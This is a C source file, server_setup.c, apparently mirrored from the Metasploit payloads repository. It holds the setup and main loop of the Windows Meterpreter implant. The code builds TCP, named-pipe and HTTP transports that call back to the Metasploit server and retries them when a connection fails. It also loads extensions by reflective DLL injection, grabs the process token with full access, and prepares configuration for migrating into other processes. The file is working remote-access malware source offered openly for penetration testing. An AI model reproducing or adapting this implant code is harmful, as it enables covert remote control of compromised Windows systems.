mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-08 14:36:22 +01:00
542 lines
18 KiB
C
542 lines
18 KiB
C
/*!
|
|
* @file server_setup.c
|
|
*/
|
|
#include "metsrv.h"
|
|
#include <ws2tcpip.h>
|
|
#include "common_exports.h"
|
|
|
|
#include "server_transport_winhttp.h"
|
|
#include "server_transport_tcp.h"
|
|
#include "server_transport_named_pipe.h"
|
|
#include "packet_encryption.h"
|
|
|
|
extern Command* extensionCommands;
|
|
|
|
int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
|
|
{
|
|
return EXCEPTION_EXECUTE_HANDLER;
|
|
}
|
|
|
|
/*!
|
|
* @brief Get the session id that this meterpreter server is running in.
|
|
* @return ID of the current server session.
|
|
*/
|
|
DWORD server_sessionid()
|
|
{
|
|
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
|
|
|
static PROCESSIDTOSESSIONID processIdToSessionId = NULL;
|
|
HMODULE kernel = NULL;
|
|
DWORD sessionId = 0;
|
|
|
|
do
|
|
{
|
|
if (!processIdToSessionId)
|
|
{
|
|
kernel = LoadLibraryA("kernel32.dll");
|
|
if (kernel)
|
|
{
|
|
processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId");
|
|
}
|
|
}
|
|
|
|
if (!processIdToSessionId)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if (!processIdToSessionId(GetCurrentProcessId(), &sessionId))
|
|
{
|
|
sessionId = -1;
|
|
}
|
|
|
|
} while( 0 );
|
|
|
|
if (kernel)
|
|
{
|
|
FreeLibrary(kernel);
|
|
}
|
|
|
|
return sessionId;
|
|
}
|
|
|
|
/*!
|
|
* @brief Load any stageless extensions that might be present in the current payload.
|
|
* @param remote Pointer to the remote instance.
|
|
* @param fd The socket descriptor passed to metsrv during intialisation.
|
|
* @return Pointer to the end of the configuration.
|
|
*/
|
|
LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions)
|
|
{
|
|
while (stagelessExtensions->size > 0)
|
|
{
|
|
dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
|
|
HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER));
|
|
load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
|
|
stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
|
|
}
|
|
|
|
dprintf("[SERVER] All stageless extensions loaded");
|
|
|
|
// once we have reached the end, we may have extension initializers
|
|
LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size);
|
|
|
|
// Config blog is terminated by a -1
|
|
while (*(UINT*)initData != 0xFFFFFFFF)
|
|
{
|
|
UINT extensionId = *(UINT*)initData;
|
|
DWORD dataSize = *(DWORD*)(initData + sizeof(DWORD));
|
|
UINT offset = sizeof(UINT) + sizeof(DWORD);
|
|
LPBYTE data = initData + offset;
|
|
dprintf("[STAGELESS] init data at %p, ID %u, size is %d", initData, extensionId, dataSize);
|
|
stagelessinit_extension(extensionId, data, dataSize);
|
|
initData = data + dataSize;
|
|
dprintf("[STAGELESS] init done, now pointing to %p", initData);
|
|
dprintf("[STAGELESS] %p contains %x", *(UINT*)initData);
|
|
}
|
|
|
|
dprintf("[SERVER] All stageless extensions initialised");
|
|
return initData + sizeof(UINT);
|
|
}
|
|
|
|
static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size)
|
|
{
|
|
Transport* transport = NULL;
|
|
dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url);
|
|
dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout);
|
|
dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total);
|
|
dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait);
|
|
|
|
if (wcsncmp(transportCommon->url, L"tcp", 3) == 0)
|
|
{
|
|
transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size);
|
|
}
|
|
else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0)
|
|
{
|
|
transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size);
|
|
}
|
|
else
|
|
{
|
|
transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size);
|
|
}
|
|
|
|
if (transport == NULL)
|
|
{
|
|
// something went wrong
|
|
return NULL;
|
|
}
|
|
|
|
// always insert at the tail. The first transport will be the one that kicked everything off
|
|
if (remote->transport == NULL)
|
|
{
|
|
// point to itself, as this is the first transport.
|
|
transport->next_transport = transport->prev_transport = transport;
|
|
remote->transport = transport;
|
|
}
|
|
else
|
|
{
|
|
transport->prev_transport = remote->transport->prev_transport;
|
|
transport->next_transport = remote->transport;
|
|
|
|
remote->transport->prev_transport->next_transport = transport;
|
|
remote->transport->prev_transport = transport;
|
|
}
|
|
|
|
return transport;
|
|
}
|
|
|
|
static void append_transport(Transport** list, Transport* newTransport)
|
|
{
|
|
if (*list == NULL)
|
|
{
|
|
// point to itself!
|
|
newTransport->next_transport = newTransport->prev_transport = newTransport;
|
|
*list = newTransport;
|
|
}
|
|
else
|
|
{
|
|
// always insert at the tail
|
|
newTransport->prev_transport = (*list)->prev_transport;
|
|
newTransport->next_transport = (*list);
|
|
|
|
(*list)->prev_transport->next_transport = newTransport;
|
|
(*list)->prev_transport = newTransport;
|
|
}
|
|
}
|
|
|
|
static void remove_transport(Remote* remote, Transport* oldTransport)
|
|
{
|
|
// if we point to ourself, then we're the last one
|
|
if (remote->transport->next_transport == remote->transport)
|
|
{
|
|
remote->transport = NULL;
|
|
}
|
|
else
|
|
{
|
|
// if we're removing the current one we need to move the pointer to the
|
|
// next one in the list.
|
|
if (remote->transport == oldTransport)
|
|
{
|
|
remote->transport = remote->transport->next_transport;
|
|
}
|
|
|
|
oldTransport->prev_transport->next_transport = oldTransport->next_transport;
|
|
oldTransport->next_transport->prev_transport = oldTransport->prev_transport;
|
|
}
|
|
|
|
oldTransport->transport_destroy(oldTransport);
|
|
}
|
|
|
|
static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize)
|
|
{
|
|
DWORD totalSize = 0;
|
|
MetsrvTransportCommon* current = transports;
|
|
|
|
// The first part of the transport is always the URL, if it's NULL, we are done.
|
|
while (current->url[0] != 0)
|
|
{
|
|
DWORD size;
|
|
if (create_transport(remote, current, &size) != NULL)
|
|
{
|
|
dprintf("[TRANS] transport created of size %u", size);
|
|
totalSize += size;
|
|
|
|
// go to the next transport based on the size of the existing one.
|
|
current = (MetsrvTransportCommon*)((LPBYTE)current + size);
|
|
}
|
|
else
|
|
{
|
|
// This is not good
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
// account for the last terminating NULL wchar
|
|
*parsedSize = totalSize + sizeof(wchar_t);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size)
|
|
{
|
|
// This function is really only used for migration purposes.
|
|
DWORD s = sizeof(MetsrvSession);
|
|
MetsrvSession* sess = (MetsrvSession*)malloc(s);
|
|
ZeroMemory(sess, s);
|
|
|
|
dprintf("[CONFIG] preparing the configuration");
|
|
|
|
// start by preparing the session, using the given UUID if specified, otherwise using
|
|
// the existing session UUID
|
|
memcpy(sess->uuid, uuid == NULL ? remote->orig_config->session.uuid : uuid, UUID_SIZE);
|
|
// session GUID should persist across migration
|
|
memcpy(sess->session_guid, remote->orig_config->session.session_guid, sizeof(GUID));
|
|
#ifdef DEBUGTRACE
|
|
memcpy(sess->log_path, remote->orig_config->session.log_path, LOG_PATH_SIZE);
|
|
|
|
#endif
|
|
if (remote->sess_expiry_end)
|
|
{
|
|
sess->expiry = remote->sess_expiry_end - current_unix_timestamp();
|
|
}
|
|
else
|
|
{
|
|
sess->expiry = 0;
|
|
}
|
|
sess->exit_func = EXITFUNC_THREAD; // migration we default to this.
|
|
|
|
Transport* current = remote->transport;
|
|
Transport* t = remote->transport;
|
|
do
|
|
{
|
|
// extend memory appropriately
|
|
DWORD neededSize = t->get_config_size(t);
|
|
|
|
dprintf("[CONFIG] Allocating %u bytes for transport, total of %u bytes", neededSize, s + neededSize);
|
|
|
|
sess = (MetsrvSession*)realloc(sess, s + neededSize);
|
|
|
|
// load up the transport specifics
|
|
LPBYTE target = (LPBYTE)sess + s;
|
|
|
|
ZeroMemory(target, neededSize);
|
|
s += neededSize;
|
|
|
|
if (t == current && t->get_handle != NULL)
|
|
{
|
|
sess->comms_handle.handle = t->get_handle(t);
|
|
dprintf("[CONFIG] Comms handle set to %p", (UINT_PTR)sess->comms_handle.handle);
|
|
}
|
|
|
|
switch (t->type)
|
|
{
|
|
case METERPRETER_TRANSPORT_TCP:
|
|
{
|
|
transport_write_tcp_config(t, (MetsrvTransportTcp*)target);
|
|
break;
|
|
}
|
|
case METERPRETER_TRANSPORT_PIPE:
|
|
{
|
|
transport_write_named_pipe_config(t, (MetsrvTransportNamedPipe*)target);
|
|
break;
|
|
}
|
|
case METERPRETER_TRANSPORT_HTTP:
|
|
case METERPRETER_TRANSPORT_HTTPS:
|
|
{
|
|
transport_write_http_config(t, (MetsrvTransportHttp*)target);
|
|
break;
|
|
}
|
|
}
|
|
|
|
t = t->next_transport;
|
|
} while (t != current);
|
|
|
|
// Terminate the transport with a NULL wchar.
|
|
// Then terminate the extensions with a zero DWORD.
|
|
// Then terminate the config with a -1 DWORD
|
|
DWORD terminatorSize = sizeof(wchar_t) + sizeof(DWORD) + sizeof(DWORD);
|
|
sess = (MetsrvSession*)realloc(sess, s + terminatorSize);
|
|
memset((LPBYTE)sess + s, 0xFF, terminatorSize);
|
|
ZeroMemory((LPBYTE)sess + s, terminatorSize - sizeof(DWORD));
|
|
s += terminatorSize;
|
|
|
|
// hand off the data
|
|
dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess);
|
|
*size = s;
|
|
*config = (MetsrvConfig*)sess;
|
|
}
|
|
|
|
/*!
|
|
* @brief Setup and run the server. This is called from Init via the loader.
|
|
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
|
|
* @return Meterpreter exit code (ignored by the caller).
|
|
*/
|
|
DWORD server_setup(MetsrvConfig* config)
|
|
{
|
|
THREAD* serverThread = NULL;
|
|
Remote* remote = NULL;
|
|
char stationName[256] = { 0 };
|
|
char desktopName[256] = { 0 };
|
|
DWORD res = 0;
|
|
|
|
dprintf("[SERVER] Initializing from configuration: 0x%p", config);
|
|
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
|
|
dprintf("[SESSION] Expiry: %u", config->session.expiry);
|
|
|
|
dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
|
config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3],
|
|
config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7],
|
|
config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11],
|
|
config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]);
|
|
|
|
dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
|
|
config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3],
|
|
config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7],
|
|
config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11],
|
|
config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]);
|
|
|
|
disable_thread_error_reporting();
|
|
|
|
srand((unsigned int)time(NULL));
|
|
|
|
__try
|
|
{
|
|
do
|
|
{
|
|
// Open a THREAD item for the servers main thread, we use this to manage migration later.
|
|
serverThread = thread_open();
|
|
|
|
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
|
|
|
|
if (!(remote = remote_allocate()))
|
|
{
|
|
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
|
break;
|
|
}
|
|
|
|
remote->sess_expiry_time = config->session.expiry;
|
|
remote->sess_start_time = current_unix_timestamp();
|
|
if (remote->sess_expiry_time)
|
|
{
|
|
remote->sess_expiry_end = remote->sess_start_time + remote->sess_expiry_time;
|
|
}
|
|
else
|
|
{
|
|
remote->sess_expiry_end = 0;
|
|
}
|
|
|
|
dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);
|
|
|
|
DWORD transportSize = 0;
|
|
if (!create_transports(remote, config->transports, &transportSize))
|
|
{
|
|
// not good, bail out!
|
|
SetLastError(ERROR_BAD_ARGUMENTS);
|
|
break;
|
|
}
|
|
|
|
dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
|
|
if (remote->transport->set_handle)
|
|
{
|
|
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
|
|
}
|
|
|
|
// Set up the transport creation function pointer
|
|
remote->trans_create = create_transport;
|
|
// Set up the transport removal function pointer
|
|
remote->trans_remove = remove_transport;
|
|
// and the config creation pointer
|
|
remote->config_create = config_create;
|
|
|
|
// Store our thread handle
|
|
remote->server_thread = serverThread->handle;
|
|
|
|
dprintf("[SERVER] Registering dispatch routines...");
|
|
register_dispatch_routines();
|
|
|
|
// this has to be done after dispatch routine are registered
|
|
LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
|
|
|
|
dprintf("[SERVER] Copying configuration ..");
|
|
// the original config can actually be mapped as RX in cases such as when stageless payloads
|
|
// are baked directly into .NET assemblies. We need to make sure that this area of memory includes
|
|
// The writable flag as well otherwise we get access violations when we're interacting with the
|
|
// configuration block down the track. So instead of marking the original configuration as RWX (to cover
|
|
// all cases) we will instead just muck with a copy of it on the heap.
|
|
DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config;
|
|
remote->orig_config = (MetsrvConfig*)malloc(configSize);
|
|
memcpy_s(remote->orig_config, configSize, config, configSize);
|
|
dprintf("[SERVER] Config copied..");
|
|
|
|
// Store our process token
|
|
if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
|
|
{
|
|
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
|
|
}
|
|
|
|
if (scheduler_initialize(remote) != ERROR_SUCCESS)
|
|
{
|
|
SetLastError(ERROR_BAD_ENVIRONMENT);
|
|
break;
|
|
}
|
|
|
|
// Copy it to the thread token
|
|
remote->thread_token = remote->server_token;
|
|
|
|
// Save the initial session/station/desktop names...
|
|
remote->orig_sess_id = server_sessionid();
|
|
remote->curr_sess_id = remote->orig_sess_id;
|
|
GetUserObjectInformationA(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
|
|
remote->orig_station_name = _strdup(stationName);
|
|
remote->curr_station_name = _strdup(stationName);
|
|
GetUserObjectInformationA(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
|
|
remote->orig_desktop_name = _strdup(desktopName);
|
|
remote->curr_desktop_name = _strdup(desktopName);
|
|
|
|
remote->sess_start_time = current_unix_timestamp();
|
|
|
|
dprintf("[SERVER] Time to kick off connectivity to MSF ...");
|
|
// loop through the transports, reconnecting each time.
|
|
while (remote->transport)
|
|
{
|
|
if (remote->transport->transport_init)
|
|
{
|
|
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
|
|
// Each transport has its own set of retry settings and each should honour
|
|
// them individually.
|
|
if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
|
|
{
|
|
dprintf("[SERVER] transport initialisation failed, moving to the next transport");
|
|
remote->transport = remote->transport->next_transport;
|
|
|
|
// when we have a list of transports, we'll iterate to the next one.
|
|
continue;
|
|
}
|
|
}
|
|
|
|
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
|
|
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
|
|
|
|
dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
|
|
if (remote->transport->transport_deinit)
|
|
{
|
|
dprintf("[DISPATCH] deinitialising transport");
|
|
remote->transport->transport_deinit(remote->transport);
|
|
}
|
|
|
|
dprintf("[TRANS] resetting transport");
|
|
if (remote->transport->transport_reset)
|
|
{
|
|
remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
|
|
}
|
|
|
|
// If the transport mechanism failed, then we should loop until we're able to connect back again.
|
|
if (dispatchResult == ERROR_SUCCESS)
|
|
{
|
|
dprintf("[DISPATCH] Server requested shutdown of dispatch");
|
|
// But if it was successful, and this is a valid exit, then we should clean up and leave.
|
|
if (remote->next_transport == NULL)
|
|
{
|
|
dprintf("[DISPATCH] No next transport specified, leaving");
|
|
// we weren't asked to switch transports, so we exit.
|
|
break;
|
|
}
|
|
|
|
// we need to change transports to the one we've been given. We will assume, for now,
|
|
// that the transport has been created using the appropriate functions and that it is
|
|
// part of the transport list.
|
|
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
|
|
remote->transport = remote->next_transport;
|
|
remote->next_transport = NULL;
|
|
}
|
|
else
|
|
{
|
|
// move to the next one in the list
|
|
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
|
|
remote->transport = remote->transport->next_transport;
|
|
}
|
|
|
|
// transport switching and failover both need to support the waiting functionality.
|
|
if (remote->next_transport_wait > 0)
|
|
{
|
|
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
|
|
|
|
sleep(remote->next_transport_wait);
|
|
|
|
// the wait is a once-off thing, needs to be reset each time
|
|
remote->next_transport_wait = 0;
|
|
}
|
|
|
|
// if we had an encryption context we should clear it up.
|
|
free_encryption_context(remote);
|
|
}
|
|
|
|
// clean up the transports
|
|
while (remote->transport)
|
|
{
|
|
remove_transport(remote, remote->transport);
|
|
}
|
|
|
|
dprintf("[SERVER] Deregistering dispatch routines...");
|
|
deregister_dispatch_routines(remote);
|
|
} while (0);
|
|
|
|
dprintf("[DISPATCH] calling scheduler_destroy...");
|
|
scheduler_destroy();
|
|
|
|
dprintf("[DISPATCH] calling command_join_threads...");
|
|
command_join_threads();
|
|
|
|
remote_deallocate(remote);
|
|
}
|
|
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
|
|
{
|
|
dprintf("[SERVER] *** exception triggered!");
|
|
|
|
thread_kill(serverThread);
|
|
}
|
|
|
|
dprintf("[SERVER] Finished.");
|
|
return res;
|
|
}
|